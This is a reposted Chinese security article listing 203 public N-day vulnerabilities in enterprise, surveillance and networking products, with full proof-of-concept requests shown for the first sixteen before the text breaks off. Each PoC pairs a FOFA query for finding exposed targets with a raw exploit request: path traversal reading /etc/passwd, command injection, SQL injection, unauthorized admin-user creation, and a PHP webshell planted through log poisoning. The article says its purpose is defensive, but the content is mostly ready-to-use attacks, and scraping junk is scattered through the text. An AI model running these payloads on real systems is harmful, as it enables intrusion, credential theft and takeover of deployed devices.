互联网公开漏洞整理202309-202406--转载

admin

互联网公开漏洞整理202309-202406
道一安全 2024-06-05 07:41 北京
以下文章来源于网络安全新视界 ，作者网络安全新视界
, @* R' M# i1 K7 F0 e6 |5 L
发文目的：Nday漏洞的利用是安全攻防占比较大的攻击方式，希望文章对大家的防守提供一定帮助。防守同学可根据本文内容进行风险排查。

% M; F! n' y1 N! s4 ~漏洞来源：文章涵盖2023年9月至2024年5月国内外公开的高危害漏洞POC共203个，均来自于互联网其他公众号或者网站，由网络安全新视界团队进行整理发布。

安全补丁：所有的漏洞均为公开漏洞，补丁或漏洞修复方案请联系产品厂家。
$ _+ X$ x( v0 @7 ?8 G
文章内容：因受篇幅限制，个别漏洞POC由于过长，统一使用PAYLOAD字样代替，如需完整POC请自行搜索。

9 o8 U0 R3 U5 z) o# k; Q- N, X合法权益：如文章内容侵犯某方合法权益，请后台联系网络安全新视界团队对相关内容进行删除。
  q$ ?7 K) P/ H* S+ A

声明
4 B' j9 C* I+ x
为简化流程，方便大家翻阅，固不设置“回复再给完整列表”。本文章就是当前最全文章，使用时F12搜索关键词即可。
) b. [3 g, d, g+ m3 y1 o
% V; F- h- J( _& C# O有需要的可以收藏此文。也可以关注本公众号（网络安全新视界）。
* }$ l1 Q8 W1 Q) `5 M
& Z5 v; W5 j% O

& x6 R$ F2 ?% P" H% q  ^目录
  m3 N: ]) a5 _$ Q* i% \, C
01

1. StarRocks MPP数据库未授权访问
2. Casdoor系统static任意文件读取
2 K  c5 E6 L8 C3. EasyCVR智能边缘网关 userlist 信息泄漏
4. EasyCVR视频管理平台存在任意用户添加
5. NUUO NVR 视频存储管理设备远程命令执行
6. 深信服 NGAF 任意文件读取
4 Q; b' R+ X/ W1 s- U4 w2 r7. 鸿运主动安全监控云平台任意文件下载
8. 斐讯 Phicomm 路由器RCE
9. 稻壳CMS keyword 未授权SQL注入
+ h9 D! c  c9 r$ m7 p* `( R10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
" c* u1 I: C3 v* `3 h( D3 e# |! O11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
12. Jorani < 1.0.2 远程命令执行
6 W% M5 l5 N6 l( R9 n/ P13. 红帆iOffice ioFileDown任意文件读取
14. 华夏ERP（jshERP）敏感信息泄露
15. 华夏ERP getAllList信息泄露
16. 红帆HFOffice医微云SQL注入
17. 大华 DSS itcBulletin SQL 注入
18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
* I, H# E1 K3 h% p- L4 {% j20. 大华ICC智能物联综合管理平台任意文件读取
& O' I& Q. }( J% r: d8 M" G21. 大华ICC智能物联综合管理平台random远程代码执行
22. 大华ICC智能物联综合管理平台 log4j远程代码执行
; g# {. I" u3 }8 R23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
4 E6 \$ b5 b7 g" c. n5 J" c24. 用友NC 6.5 accept.jsp任意文件上传
25. 用友NC registerServlet JNDI 远程代码执行
) x( x: i- Q7 w. G1 ?* a2 R0 O- c; h26. 用友NC linkVoucher SQL注入
& E" B, K5 W8 p, u) m* I0 O27. 用友 NC showcontent SQL注入
. _/ M# J4 F0 U4 _1 C- M; \2 X28. 用友NC grouptemplet 任意文件上传
29. 用友NC down/bill SQL注入
30. 用友NC importPml SQL注入
- p' X' Q% A2 ~( z31. 用友NC runStateServlet SQL注入
32. 用友NC complainbilldetail SQL注入
! e# h( Z2 \" B: A: O) {  B33. 用友NC downTax/download SQL注入
* ]# y/ q( R' V; @3 Z1 k) w  o- b34. 用友NC warningDetailInfo接口SQL注入
35. 用友NC-Cloud importhttpscer任意文件上传
: P, u- {6 g2 x6 ]4 I36. 用友NC-Cloud soapFormat XXE
37. 用友NC-Cloud IUpdateService XXE
* V# P; {2 `3 N38. 用友U8 Cloud smartweb2.RPC.d XXE
. ^9 r/ z8 i; k) ^* o39. 用友U8 Cloud RegisterServlet SQL注入
40. 用友U8-Cloud XChangeServlet XXE
$ Y) x) \# c8 E. t6 B* F' s* P41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
" o3 b& k- R1 b6 J42. 用友GRP-U8 SmartUpload01 文件上传
4 v1 f7 N) L; S1 x, j43. 用友GRP-U8 userInfoWeb SQL注入致RCE
3 T3 y3 r& h7 _44. 用友GRP-U8 bx_dj_check.jsp SQL注入
45. 用友GRP-U8 ufgovbank XXE
- R! `' }$ t; D9 S7 P46. 用友GRP-U8 sqcxIndex.jsp SQL注入
47. 用友GRP A++Cloud 政府财务云 任意文件读取
48. 用友U8 CRM swfupload 任意文件上传
5 P( R% |) L1 c) @+ R5 t7 D49. 用友U8 CRM系统uploadfile.php接口任意文件上传
) U$ w' k$ N7 [+ i50. QDocs Smart School 6.4.1 filterRecords SQL注入
51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
52. 泛微E-Office json_common.php sql注入
53. 迪普 DPTech VPN Service 任意文件上传
54. 畅捷通T+ getstorewarehousebystore 远程代码执行
5 X6 s, T8 g, Y4 c55. 畅捷通T+ getdecallusers信息泄露
56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
57. 畅捷通T+ keyEdit.aspx SQL注入
4 V8 I6 z) x  H% |/ j  N58. 畅捷通T+ KeyInfoList.aspx sql注入
0 c' K& N* o0 E0 o, E59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
60. 百卓Smart管理平台 importexport.php SQL注入
61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
62. IP-guard WebServer 远程命令执行
63. IP-guard WebServer任意文件读取
8 `, i. Q" A: X: I6 t& Z9 s/ v64. 捷诚管理信息系统CWSFinanceCommon SQL注入
+ z* h! h1 ^6 k; e  o65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
: W5 h5 ?9 Z* f+ }; B  T67. 万户ezOFFICE wpsservlet任意文件上传
  T4 H! O0 f: ]* t% S% u# c68. 万户ezOFFICE wf_printnum.jsp SQL注入
, \/ L' L, |( f) s5 [69. 万户 ezOFFICE contract_gd.jsp SQL注入
8 X: L' r+ p' \. f, b% C7 B70. 万户ezEIP success 命令执行
$ B$ y9 L' m; `  T* Q' k71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
72. 致远OA getAjaxDataServlet XXE
73. GeoServer wms远程代码执行
74. 致远M3-server 6_1sp1 反序列化RCE
0 z; e7 }5 x/ U75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
76. 新开普掌上校园服务管理平台service.action远程命令执行
77. F22服装管理软件系统UploadHandler.ashx任意文件上传
4 R$ \0 }/ P$ L( d; t78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
79. BYTEVALUE 百为流控路由器远程命令执行
+ a% D( A) _; i80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
! C- ^+ y+ u- Z7 M, a$ \83. JeecgBoot testConnection 远程命令执行
84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
- {( \1 a4 |, [' ^& w9 y* e85. SysAid On-premise< 23.3.36远程代码执行
86. 日本tosei自助洗衣机RCE
) A( ?' a0 F& W# Y! [7 }87. 安恒明御安全网关aaa_local_web_preview文件上传
88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
/ ^1 v, L! ^5 E+ b! b' G9 H89. 致远互联FE协作办公平台editflow_manager存在sql注入
90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
92. 海康威视运行管理中心session命令执行
% n/ t  a' i8 a/ V5 Y93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
8 s$ A2 n: ]. G" W95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
96. Apache OFBiz  18.12.11 groovy 远程代码执行
# C( W/ u% b5 E97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
98. SpiderFlow爬虫平台远程命令执行
99. Ncast盈可视高清智能录播系统busiFacade RCE
100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
101. ivanti policy secure-22.6命令注入
102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
103. Ivanti Pulse Connect Secure VPN XXE
0 C! f8 E; R5 f  F) y7 `2 r104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
  U% x* T" D; k( g; I  M7 U, u4 K105. SpringBlade v3.2.0 export-user SQL 注入
106. SpringBlade dict-biz/list SQL 注入
107. SpringBlade tenant/list SQL 注入
! F+ V  [) F. Z8 g3 n) y) p108. D-Tale 3.9.0 SSRF
109. Jenkins CLI 任意文件读取
110. Goanywhere MFT 未授权创建管理员
$ M) R# S5 k7 w" v/ ]111. WordPress Plugin HTML5 Video Player SQL注入
112. WordPress Plugin NotificationX SQL 注入
$ W/ o4 s5 r' f$ i9 f' o3 i113. WordPress Automatic 插件任意文件下载和SSRF
* V: ?) {3 h* o3 c114. WordPress MasterStudy LMS插件 SQL注入
% W. `# g5 O! y% j115. WordPress Bricks Builder <= 1.9.6 RCE
116. wordpress js-support-ticket文件上传
1 o6 x& w0 a" M1 N117. WordPress LayerSlider插件SQL注入
118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
119. 北京百绰智能S20后台sysmanageajax.php sql注入
120. 北京百绰智能S40管理平台导入web.php任意文件上传
121. 北京百绰智能S42管理平台userattestation.php任意文件上传
1 Z5 _" @' f3 `( o& j122. 北京百绰智能s200管理平台/importexport.php sql注入
! L9 }1 I$ G0 \4 f9 S" `* d' p123. Atlassian Confluence 模板注入代码执行
, a  a/ ~# C- z$ m) ?$ }. z, t8 s* [124. 湖南建研工程质量检测系统任意文件上传
125. ConnectWise ScreenConnect身份验证绕过
/ t# `# P# I4 @0 l126. Aiohttp 路径遍历
127. 广联达Linkworks DataExchange.ashx XXE
128. Adobe ColdFusion 反序列化
& m1 Q- r7 f5 B6 _" R129. Adobe ColdFusion 任意文件读取
130. Laykefu客服系统任意文件上传
131. Mini-Tmall <=20231017 SQL注入
- V1 Y% ]  T; O- J3 z3 s/ @4 k132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
1 P1 L. U- x* ]133. H5 云商城 file.php 文件上传
134. 网康NS-ASG应用安全网关index.php sql注入
135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
136. NextChat cors SSRF
% h& y" C: f* E9 {137. 福建科立迅通信指挥调度平台down_file.php sql注入
138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
139. 福建科立讯通信指挥调度平台editemedia.php sql注入
4 x4 B# r4 U/ ^+ s$ d' z% y! x140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
- d: k( K) e2 _0 N142. CMSV6车辆监控平台系统中存在弱密码
8 j7 [' i$ T! S8 d5 z' H: H2 [143. Netis WF2780 v2.1.40144 远程命令执行
" J) R: P+ v! c& ~8 d144. D-Link nas_sharing.cgi 命令注入
145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
146. MajorDoMo thumb.php 未授权远程代码执行
: u+ g4 ]. \% W4 A* r147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
148. CrushFTP 认证绕过模板注入
149. AJ-Report开源数据大屏存在远程命令执行
4 `4 q  U9 K( w; s( ]! f0 J150. AJ-Report 1.4.0 认证绕过与远程代码执行
: J/ v% e  |$ F6 F, T151. AJ-Report 1.4.1 pageList sql注入
152. Progress Kemp LoadMaster 远程命令执行
153. gradio任意文件读取
154. 天维尔消防救援作战调度平台 SQL注入
; U4 ~9 A! P$ p/ I" \9 L155. 六零导航页 file.php 任意文件上传
' s; d2 w# T* ~8 w# F156. TBK DVR-4104/DVR-4216 操作系统命令注入
: a% E# W' ?3 N/ o9 G0 C2 p# v157. 美特CRM upload.jsp 任意文件上传
. A. S9 g9 X4 b158. Mura-CMS-processAsyncObject存在SQL注入
159. 英飞达医学影像存档与通信系统 WebJobUpload 任意文件上传
$ u6 x9 e$ T' i! _. T160. Sonatype Nexus Repository 3目录遍历与文件读取
3 Q$ `8 c- O: w8 e' B# o( Z161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
( @1 v7 _* I& o* z9 J% I$ _162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
165. OrangeHRM 3.3.3 SQL 注入
7 X* b$ p8 p) g) w, F- |7 V8 v) D166. 中成科信票务管理平台SeatMapHandler SQL注入
: R" [& g/ k& j; G5 t9 }" R167. 精益价值管理系统 DownLoad.aspx任意文件读取
168. 宏景EHR OutputCode 任意文件读取
, P. k9 |5 d* A8 Q! w! t169. 宏景EHR downlawbase SQL注入
3 f- V5 q+ P3 E1 b5 a7 k170. 宏景EHR DisplayExcelCustomReport 任意文件读取
( j# n. w& n- k" _6 M3 w4 \+ y171. 通天星CMSV6车载定位监控平台 SQL注入
172. DT-高清车牌识别摄像机任意文件读取
173. Check Point 安全网关任意文件读取
174. 金和OA C6 FileDownLoad.aspx 任意文件读取
175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
- C4 @7 }8 Y. }5 X+ t- K176. 电信网关配置管理系统 rewrite.php 文件上传
, M$ c: z2 L/ B/ L$ W; e177. H3C路由器敏感信息泄露
# i) y/ h: l6 w178. H3C校园网自助服务系统-flexfileupload-任意文件上传
179. 建文工程管理系统存在任意文件读取
' a! W0 |" F: w  q! d! R180. 帮管客 CRM jiliyu SQL注入
181. 润申科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
# |- @; ~6 \2 \% P! n  h, Q182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
6 Q1 W" q9 a' j7 z184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
* E$ b  T' d! F8 V! o185. 瑞友天翼应用虚拟化系统SQL注入
186. F-logic DataCube3 SQL注入
187. Mura CMS processAsyncObject SQL注入
188. 叁体-佳会视频会议 attachment 任意文件读取
189. 蓝网科技临床浏览系统 deleteStudy SQL注入
0 f. k( B- K& Q6 l, O190. 短视频矩阵营销系统 poihuoqu 任意文件读取
4 k1 [; ~9 {. u7 I191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
" _' N1 B% C( S# o$ E195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
6 k8 q0 y) I# k) j  X+ G0 a196. 河南省风速科技统一认证平台密码重置
197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
198.  阿里云盘 WebDAV 命令注入
6 D2 X7 I. z; @2 C199. cockpit系统assetsmanager_upload接口 文件上传
- a1 r# u5 B2 V1 q: U3 n200. SeaCMS海洋影视管理系统dmku SQL注入
201. 方正全媒体新闻采编系统 binary SQL注入
202. 微擎系统 AccountEdit任意文件上传
' `2 b  z1 ]1 V203. 红海云EHR PtFjk 文件上传
# J8 E, g( i* I0 `- s# Z# q! a
POC列表

02
0 G" a" O( |7 @) s
1. StarRocks MPP数据库未授权访问
FOFA ：title="StarRocks"
; z3 X) V2 J; o+ ]. X. bGET /mem_tracker HTTP/1.1
Host: URL


2. Casdoor系统static任意文件读取
FOFA ：title="Casdoor"
GET /static/../../../../../../../../../../../etc/passwd HTTP/1.1
Host: xx.xx.xx.xx:9999
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
  Z, `. v7 l  u. }' G0 E# ZConnection: close
7 N9 ]" h4 U/ G) o! t. \; fAccept: */*
Accept-Language: en
Accept-Encoding: gzip

7 l5 o3 V9 W# ~& [9 n/ h
3. EasyCVR智能边缘网关 userlist 信息泄漏
  w7 U" |$ C& m' vFOFA ：title="EasyCVR"
GET /api/v1/userlist?pageindex=0&pagesize=10 HTTP/1.1
6 r# ?& v( `) y; k* R6 O( o$ U4 fHost: xx.xx.xx.xx
' J  n  F' y/ [3 n3 P
, m# c$ L6 i8 r. u) @
4. EasyCVR视频管理平台存在任意用户添加
FOFA ：title="EasyCVR"

password更改为自己的密码md5
POST /api/v1/adduser HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
2 X( k$ N9 V. y7 L# l. ~" t8 w
: Z- J8 n+ q; ?& q1 Ename=admin888&username=admin888&password=0e7517141fb53f21ee439b355b5a1d0a&roleid=1
) Y& p$ c2 F# H
; g. ]1 M6 a; K& k8 |
4 ]. q1 s: Y% L$ o5. NUUO NVR 视频存储管理设备远程命令执行
FOFA：title="Network Video Recorder Login"
GET /__debugging_center_utils___.php?log=;whoami HTTP/1.1
: g0 ]4 M1 U- d" D0 pHost: xx.xx.xx.xx
8 P6 p) h, l* }# T' r# ]8 q; I6 |& X
8 ^# T5 h7 U0 F+ A: e+ r- }; ]
+ `0 M& ^. Z5 }' ~7 _  q' X0 M6. 深信服 NGAF 任意文件读取
& V5 \5 b) d$ R' U* ~+ HFOFA：title="SANGFOR | NGAF"
GET /svpn_html/loadfile.php?file=/etc/./passwd HTTP/1.1
Host:


7. 鸿运主动安全监控云平台任意文件下载
0 j' ?9 A8 j' xFOFA：body="./open/webApi.html"
GET /808gps/MobileAction_downLoad.action?path=/WEB-INF/classes/config/jdbc.properties HTTP/1.1
* v& @/ n' X- Z' v# Q+ }/ WHost:
/ Y- D2 m1 N& u
; V/ \4 a3 U% V" p/ u+ U
7 e1 ~2 o# x$ v$ P8. 斐讯 Phicomm 路由器RCE
0 f" Y! z% L" d1 mFOFA：icon_hash="-1344736688"
默认账号admin登录后台后，执行操作
POST /cgi-bin/luci/;stok=bcd6ccd2fa5d212ce6431ca22f10b96d/admin/wifireboot HTTP/1.1
Host: x.x.x.x
Cookie: sysauth=第一步登录获取的cookie
( V! m; x+ @4 o% g/ g6 s0 W; r7 EContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryxbgjoytz
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36

------WebKitFormBoundaryxbgjoytz
* B! J* x! a; d4 N$ c" W  {Content-Disposition: form-data; name="wifiRebootEnablestatus"
7 D9 X8 Y3 \6 l  D- W
* e) i0 i! G* e/ ~7 E* R, z%s
------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootrange"

12:00; id;
------WebKitFormBoundaryxbgjoytz
' f1 Z9 E5 H# ]' `Content-Disposition: form-data; name="wifiRebootendrange"
1 W8 [' j* X; a4 W, j
%s:
, w: D% |7 G& L+ G* H9 Q. X, ?------WebKitFormBoundaryxbgjoytz
# W) b  K9 L# y/ M6 _1 }% dContent-Disposition: form-data; name="cururl2"
9 x0 D2 L8 U) d1 O7 |
" N$ W9 s, z8 {. X+ _, q1 Y
------WebKitFormBoundaryxbgjoytz--


! A- s8 |' K9 z3 J9. 稻壳CMS keyword 未授权SQL注入
& @! L9 C3 t. F9 qFOFA：app="Doccms"
! ^4 J5 V' K- y, v* S9 FGET /search/index.php?keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33 HTTP/1.1
Host: x.x.x.x
8 U( }  e) L- R7 E$ R( {4 H1 _+ ]4 v
+ i) {  @1 i' M) G6 R1 {
payload为下列语句的二次Url编码

' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#
# R1 O4 [6 u0 G; Y
* V* \. Y/ p9 \; n/ B  O10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
FOFA：icon_hash="953405444"

文件上传后响应中包含上传文件的路径
" H. ^8 V# n6 e  `+ jPOST /eis/service/api.aspx?action=saveImg HTTP/1.1
Host: x.x.x.x:xx
( f+ d( J. q) t( A8 v4 Y' o4 TUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
7 r, I" P7 |4 g9 M3 aContent-Length: 197
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
. s5 M  m& A) _# N% r! V! KAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxdgaqmqu
8 z% }  w; B7 Z1 I2 ]7 Y" e6 G/ v
: n4 ^1 ]' v4 t------WebKitFormBoundaryxdgaqmqu
Content-Disposition: form-data; name="file"filename="icfitnya.txt"
Content-Type: text/html
! e2 b" C' n3 S  y. F
jmnqjfdsupxgfidopeixbgsxbf
------WebKitFormBoundaryxdgaqmqu--
1 D3 w* E  I; K9 j, n3 o$ Z" t
5 h& f  S  q4 L; g. h
2 I4 _4 s0 |, X/ Y) R$ v) X8 Z11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
( n8 M, N/ ]( c) y4 n  NFOFA：icon_hash="953405444" || app="Landray-EIS智慧协同平台"
GET /dossier/doc_fileedit_word.aspx?recordid=1'%20and%201=@@version--+&edittype=1,1 HTTP/1.1
. r* Y7 W' B* e1 Q* }: MHost: 127.0.0.1
- O( r4 o$ Q) X' ?7 }# _Pragma: no-cache
3 N$ w. f! C# X8 g1 l0 ]( e4 QCache-Control: no-cache
Upgrade-Insecure-Requests: 1
7 s2 ]3 V" k9 V7 @3 d' Q: c/ W3 _User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
  Q; |  r, g1 Y2 }( u! ]4 w# Z" oAccept-Encoding: gzip, deflate
6 l4 e, r2 o$ N, cAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close


- D) M+ z7 ^1 n" W, N5 k12. Jorani < 1.0.2 远程命令执行
# d$ {( M3 K+ s5 dFOFA：title="Jorani"
第一步先拿到cookie
# E: q& x3 e4 @2 c: oGET /session/login HTTP/1.1
Host: 192.168.190.30
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
9 L! J# [& c; i( lConnection: close
Accept-Encoding: gzip
. B! Z7 n5 e9 r& G! Z9 v$ t& Z

9 _2 a# Q3 Z% c# S! Y) J响应中csrf_cookie_jorani用于后续请求
HTTP/1.1 200 OK
Connection: close
$ F; q2 l& P3 U- F. |# y$ WCache-Control: no-store, no-cache, must-revalidate
Content-Type: text/html; charset=UTF-8
3 B7 [) Z% y! ^& K  }' Y& g: pDate: Tue, 24 Oct 2023 09:34:28 GMT
9 T+ x" i; |* B9 X) |) ^Expires: Thu, 19 Nov 1981 08:52:00 GMT
  d. e7 j: w8 ]* I$ I4 _Last-Modified: Tue, 24 Oct 2023 09:34:28 GMT
Pragma: no-cache
Server: Apache/2.4.54 (Debian)
( k3 Q) a  y3 L8 i4 E7 Y, fSet-Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/
Set-Cookie: jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/; HttpOnly
; {8 F; D  ?  _Vary: Accept-Encoding
4 i2 F6 Y4 E4 y' ?1 Z

+ [$ n! W7 b3 ?POST请求，执行函数并进行base64编码
POST /session/login HTTP/1.1
! f# ?/ V+ C% \; N- K! JHost: 192.168.190.30
: O4 |( b, a; tUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
Connection: close
/ U0 Z/ S6 ]" p( x4 PContent-Length: 252
; q( |" V( ]/ T5 I: Y; iContent-Type: application/x-www-form-urlencoded
Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
/ q5 D  K9 y% f& c6 [Accept-Encoding: gzip

csrf_test_jorani=6ca560f2b0baf3cda87c818a4a15dc77&last_page=session%2Flogin&language=..%2F..%2Fapplication%2Flogs&login=<?php if(isset($_SERVER['HTTP_K1SYJPMHLU4Z'])){system(base64_decode($_SERVER['HTTP_K1SYJPMHLU4Z']));} ?>&CipheredValue=DummyPasswor
# Y$ M  J6 [, B# @
7 q" Z, o6 ]/ X2 B5 O

向靶场发送如下请求，执行id命令，请求头中的ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=是命令base64编码后的字符串
GET /pages/view/log-2023-10-24 HTTP/1.1
Host: 192.168.190.30
+ f$ L8 I7 R/ H( IUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
) t1 L5 s3 P5 I+ R. cK1SYJPMHLU4Z: ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=
X-REQUESTED-WITH: XMLHttpRequest
Accept-Encoding: gzip
* V" f" ?$ [- b8 {
( J$ p  W3 [" L( {& f2 ?
" u3 C4 C6 i8 Y: {5 \$ l  {' o( L, G13. 红帆iOffice ioFileDown任意文件读取
! G% c2 b/ v2 \4 A  H3 N1 MFOFA：app="红帆-ioffice"
GET /ioffice/prg/interface/ioFileDown.aspx?sFilePath=c:/windows/win.ini HTTP/1.1
# Z: m1 k- Y5 G, G  EHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
Accept: */*
, y" A* i7 J0 u+ l6 AAccept-Encoding: gzip
* h$ ]2 e/ O. b4 H% C6 R: R7 B4 G
+ t% [& L. C2 N: ]
* T+ }3 U2 s2 {, E14. 华夏ERP（jshERP）敏感信息泄露
FOFA：body="jshERP-boot"
泄露内容包括用户名密码
GET /jshERP-boot/user/getAllList;.ico HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
5 Q7 |! s$ z: A$ u6 Q3 d+ [0 MConnection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip


0 h+ L8 c; Y; i, `6 Q- [3 o15. 华夏ERP getAllList信息泄露
CVE-2024-0490
: V3 F+ t% w# K1 Q3 |FOFA：body="jshERP-boot"
' o* O* i" i1 T泄露内容包括用户名密码
" ]* B( d. j- V4 M- H2 lGET /jshERP-boot/user/a.ico/../getAllList HTTP/1.1
Host: 192.168.40.130:100
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
Connection: close
Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
Accept-Language: en
3 s, S. z9 E  k( `$ v% c7 r, ssec-ch-ua-platform: Windows
Accept-Encoding: gzip
( q( i3 z- i# ^6 d% Q7 U

4 @2 B& Q" \& q: W$ R0 T4 K) o  L; h16.  红帆HFOffice医微云SQL注入
FOFA：title="HFOffice"
7 N* _+ A8 ?& |2 bpoc中调用函数计算1234的md5值
. @+ i; ^/ S5 R* u" n* XGET /api/switch-value/list?sorts=%5B%7B%22Field%22:%221-CONVERT(VARCHAR(32),%20HASHBYTES(%27MD5%27,%20%271234%27),%202);%22%7D%5D&conditions=%5B%5D&_ZQA_ID=4dc296c6c69905a7 HTTP/1.1
6 G2 j2 l1 p( f  AHost: x.x.x.x
) ?2 C' G+ I! v; F2 oUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
Connection: close
9 t$ G" D) g& ?5 c1 }8 ^Accept: */*
/ G) w( S% L; [4 nAccept-Language: en
Accept-Encoding: gzip
9 {2 }6 I2 A  o5 M- k3 ^2 m3 S. r

7 K+ c9 C% r7 W3 D( a9 i* K' D7 j" Q17. 大华 DSS itcBulletin SQL 注入
